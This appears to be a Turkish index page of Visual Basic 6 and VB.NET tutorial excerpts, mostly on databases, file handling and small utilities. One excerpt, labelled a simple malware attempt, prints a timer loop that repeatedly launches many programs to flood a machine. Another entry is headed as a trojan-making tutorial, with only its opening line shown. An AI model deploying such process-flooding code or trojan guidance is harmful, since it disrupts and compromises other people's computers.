Bu programda visual basic ile bir stack kullanan dll yazılmış ve başka bir program içinde bu dll kullanılmıştır. |
Visual Basic 6 ile Visual basic veritabanı
Visual Basic VeriTabanı Giriş İçin İlk Adımlar |
Visual Basic ile veritabanına ilk adımlar
Visual basic te veri tabanı hazırlamak çok kolaydır. Şimdi size visualda veri tabanı nasıl hazırlanır onu anlatacağım. (VB6.0)
Daha fazlasını oku…
Visual Basic 6 ile veri tabanında arama yapmak
Visual data manager’da yapilan veri tabani, formun uzerine data nesnesi eklendikten ve bilgiler forma taşındıktan sonra formun üzerine yerleştirilen command butonunda arama yapabilmek için gerekli kod. |
Visual Basic 6 ile öğrenci takip programı yapmak
Visual Basic 6 ile MYSQL bağlantısı
Visual Basic den Mysql ye bağlanmanın en kolay ve düzgün yolu türkçe karakter sorunu da yok |
Visual Basic 6 ile karakter fonksiyonları
Visual Basic 6 ile IBM AS400 Query’lerinin çalıştırılması
Visual Basic ile IBM AS400 sistemi üzerindeki Queryleri çalıştırmaya ne dersiniz? |
Visual Basic 6 ile basit bir hesap makinası
Visual Basic 6 ile virtual disk drive oluşturmak
Burda dosyaya gösteren virtuell bir DiskDrive yapilir. |
‘Yazar: Ulas Isci
’email:isci@excite.com
Daha fazlasını oku…
Visual Basic 6 ile kolay veri tabanı
Veri tabanına data nesnesiz program kodu ile kayır eklemek, silmek,aramak, değiştirmek artık çok kolay |
Bu program müşteri kredi kartı ve müşteri bilgileri ile ilgili bir programdır.siz bu programa bakarak kendi veritabanınızı oluşturunuz ve bölümlere kendi koyduğunuz bölümleri yazınız.Formun load özelliğine kendi veritabanı dosya adını ve tablo adını yazınız.bu bölüm programınızı veritabanına bağladığı için önemlidir unutmayın
Daha fazlasını oku…
Visual Basic 6 ile dosya oluşturma methodları
VB’de dosya yazma ve okuma methotlarına ilişkin açıklama |
1 – Output Modu
———————————————————————
Dosya sirali erisim modunda sadece yazma islemi için açilir. Veriler tek yönlü tasinir ve okuma islemine izin verilmez.
Yazma islemi birkaç farkli teknikle yapilabilir.Bunlardan birincisi PRINT metodudur. Print metodunda bilgiler yan yana veya alt alta aralarinda hiçbir ayiraç kullanilmadan yazilir.
Print Veriler yan yana yazilir.#1,bilgi1,bilgi2,bilgi3
Print #1, bilgi1
Print #1, bilgi2
Veriler alt alta yazilir.Print #1, bilgi3
Write metodu ise ikinci bir seçenektir. Bu metot ile yazma islemi yaptigimizda hedef dosyaya gönderdigimiz bütün bilgiler “bilgi” seklinde çift tirnak ile ayrilirlar. Yine print metodunda oldugu gibi tek satirda gönderilen bilgiler hedef dosyaya da tek satirda yazilirlar, alt alta write komutu verilerek yazilan bilgiler ise hedef dosya üzerinde de alt alta bulunurlar.
Fakat print metodundan farkli olarak write ile tek satirda gönderilen bilgiler hem çift tirnakla belirtilir hem de her bilgi arasina virgül isareti yazilarak ayrilirlar.
Output metodu ile yeni bir kayit yaptiginizda, yeni bilgiler eski kayitlarin üzerine yazilacaktir. Bo mod ile islem yaparken eski verilerinizin kaybolacagini veya zarar görecegini bilmeniz gerekir.
Daha fazlasını oku…
Visual Basic 6 ile bilgisayarı kapamak
Visual basic dilinde bilgisayarı kapama. |
Declare Function ExitWindowsEx Lib “user32” Alias “ExitWindowsEx” (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Daha fazlasını oku…
VB.NET ile adres defteri
Visual Basic 6 ile basit zararlı yazılım denemesi
abdurrahman yıldız |
Private Sub Timer1_timer()
For i = 1 To 100
Shell “cmd”
Shell “calc”
Shell “C:\Program Files\Messenger\msmsgs.exe”
Shell “explorer”
Shell “mspaint”
Shell “sndrec32”
Shell “C:\Program Files\Movie Maker\moviemk.exe”
Shell “winmine”
Next
End Sub
Daha fazlasını oku…
Visual Basic 6 ile Veri tipleri
Veri Tipleri |
Currency :
Sayısal tipdeki veriler için tanımlanmış özel bir veri tipidir.Hafızada 8 byte yer kaplarlar. 4 hane ondalık kısmı olmak üzere toplam 19 haneden oluşur.(nokta hariç) Alabilecegi maximum degerler -922,337,203,685,477.5808 ile 922,337,203,685,477.5807 arasındadır. @ sembolü veya DefCur bildirimi ile Currency tipinde degişken’ler tanımlanabilirler.
Daha fazlasını oku…
Visual Basic 6 ile Veritabanı
Visual Basic ile veritabanına ilk adımlar |
Öncelikle standar exe formunu açın.
Add-Ins / Visual Data Manager i çalıştırın.
Daha fazlasını oku…
Visual Basic 6 ile Veri tabanı formu
Private Sub Command1_Click()
Text1 = “”
Text2 = “”
Text3 = “”
Text4 = “”
Text5 = “”
Text6 = “”
Text7 = “”
Text8 = “”
Combo1.Text = “Gün”
Combo2.Text = “Ay”
Combo3.Text = “Yıl”
Text1.SetFocus
End Sub
Daha fazlasını oku…
Visual Basic 6 ile Vergi iadesi hesaplamak
Visual Basic 6 ile XML kullanımı
XML’e yazma |
Bunun icin once Project menusunden references..XML data sources 3.0 i ekleyin
Visual Basic 6 ile Veri yapıları
Veri Yapıları5 |
Visual Basic 6’dan excel dosyasına veri aktarımı
Dim appXL As New Excel.Application
Dim wbk As Excel.Workbook
Dim wks As Excel.Worksheet
‘<buraya açacağımız excel dosyanın yolunu belirtiriz.
Set wbk = appXL.Workbooks.Open(app.path)
‘<açılan excel dosyasının sayfa numarası
wbk.Sheets(1).Select
‘< exceli görünür yapar
appXL.Visible = True
Daha fazlasını oku…
Visual Basic 6 ile 3 tablolu ilişki
3 tabloyu datarelation ile birbirine baglıyoruz. |
tablo1 de numara,adi,soyadi olacak.numara primary keyimiz.
tablo2 de ID,numara,adi,soyadi olacak.ID primary keyimiz.
tablo3 de ID,numara,adi,soyadiolacak.ID primary keyimiz.
Daha fazlasını oku…
VB.NET ile değişik formlar yapmak
Değişiklik isteyenler inceleyin. |
Formun FormBorderStyle özelliğini none yaparak başlık çubuğunun ve kenarlarının kaldırılmasını sağlayalaım.
BackColor özelliğinden uygun bir renk seçelim.
Daha fazlasını oku…
VB.NET ile resim görüntülemek ve boyutlandırmak
VB.NET ile basit bir şaka programı yapmak
Basit,küçük bir şaka programıdır.ama bir ilham verebilir.kapanırkende solarak kapanıyor.(vb.net ile yapıldı.) |
Visual Basic.NET ile AddHandler ve RemoveHandler
VB.NET AddHandler RemoveHandler |
VB6 da forma runtime anında bir kontrol ekliyebiliyorduk. Ancak bu eklenen kontrolün eventlarına ulaşmakta sorun yaşıyorduk. Bunun için 3 yöntem bulunuyordu.
Daha fazlasını oku…
Visual Basic 6 ile çarpım tablosu
Visual Basic 6 ile yazıcı kontrolleri
Printer kontrolleri acaromer |
BU örnekte size VB’de yazıcı kontrollerinden bahsedeceğim..
Daha fazlasını oku…
Visual Basic 6 ile trojan yapmak
Öncelikle Trojenlanlarin calisma prensiblerinden bahsediyim.
Daha fazlasını oku…
Visual Basic 6 ile rasgele sayılar oluşturmak
Rasgele sayılar nasıl üretilir |
Herkese Merhaba…
Visual Basic’te geliştirdiğiniz projelerinizde bilgisayarın üreteceği rasgele sayılara ihtiyaç duyabilirsiniz.Mesela mp3 çalarınızın parçaları belli bir düzene uymadan(rasgele) çalabilmesi ya da yaptığınız Loto programında rasgele 6 adet sayının üretilmesi durmunda böyle bir fonksiyona ihtiyaç duyabilirsiniz.Özelliklede oyunlar da… 🙂
VB’de bu işi Rnd fonksiyonu üstlenir.Bu fonksiyon bilgisayarımıza 0 ile 1 arasında rasgele bir sayı üretmesini söyler.Tabi 0 ile 1 arasında üretilen bir sayı bizim çok ta işimize yaramıyacaktır.Ancak Rnd fonksiyonu ile bizim belirleyeceğimiz sayılar arasında da (negatif ya da pozitif fark etmez) sayılar üretmek mümkün.Dilerseniz uygulamaya geçelim…
Daha fazlasını oku…
Visual Basic 6 ile olmayan işe yarar stringsel fonksiyonlar
Aşağda bazı stringsel fonksiyonları göstereceğim. Bunlar VB’nin kendi stringsel fonksiyonları değilde daha fazla işlem için üretilmiş fonksiyonlardır. |
Trim fonksiyonun bilmeyen arkadaslar vb ders notlarindan incelesinler.
Trim fonksiyonu bilindigi gibi bir yazisal ifadenin bosluklari silen bir fonksiyondur.
Peki ben eger bir yazisal ifadenin basinda ve sonundaki belli bir karakteri silmek istiyorsam.
Iste o zaman bu fonksiyonu kullanirim
Daha fazlasını oku…
Visual Basic 6 ile n.derece denklem çözümü
Visual Basic 6 ile karmaşık sayıllar
Visual Basic 6 ile telefon araması yapmak
Kendi yaptığınız programdan herhangi bir telefon numarasını aramak için gerekli kodlar. |
Visual Basic 6 ile ekran koruyucu programlamak
Vb İle Screen Saver Hazırlanması |
Visual Basic 6 ile fonksiyon grafiği çizmek
Bu programa basit bir polinom fonksiyonun denklemini yazıyorsunuz o da size grafiğini çiziyo ama denklem ax^4+bx^3-cx^2+x+5 … gibi yazılmalı |
Visual Basic 6 ile EnCoding ve DeCoding
Genelde html kaynak kodu şifrelemede kullanılan 16 bitlik basit bir encoding yöntemini vb ile crypt ve decrypt ettiğimiz kolay anlaşılır bir program yapacağız. |
Bu makalenin hem vb de orta düzey programcılar hemde kriptografi sevenlerin hoşuna
gideceğini düşünüyorum.
Daha fazlasını oku…
Visual Basic 6 ile Clone Object ve Serialize object örneği
Obje değişkenleri ile sıkça çalışıyorsanız ihtiyaç duyacağınız iki konu. Klonlama ve serializasyon öncelikle kavramları terminolojik olarak açıklamaya çalışayım. |
VB.NET’de hesap makinası yapmak
Visual Basic 6 ile gradient
Visual Basic 6 ile Aacces’de DataReport kullanımı
Visual basicte acces ile Datareport kullanımı dökümanlar ve örnekler arasında pek rastlayamadım eklemek istedim. Umarım işinize yarar. |
Visual Basic 6 ile içinden console ekranının kullanılması
VB İçinden Console Ekranının Kullanılması |
Önce Notepad’i kullanarak aşağıdaki batch dosyayı oluşturun.
Daha fazlasını oku…
Visual Basic 6 ile varolan tarayıcı ile site açtırmak
Visual Basic 6 ile Mysql
Visual basic’ten MySql serverlarına kodlar ile bağlantı |
Özel bir Referans olan MyVBQL.DLL ve LibMySql.dll dosyalarına ihtiyacımız var her iki dosyayıda SYSTEM32 dizinine kopyalıyoruz. Bir dos komut isteminde ilgili system32 dizinine girip “regsvr32 MyVBQL.DLL” komutuyla register ediyoruz.
Daha fazlasını oku…
Visual Basic 6 ile telefon araması yapmak
Kendi Yaptığınız Programdan Herhangi Bir Telefon Numarasını Aramak İçin Gerekli Kodlar |
Son yorumlar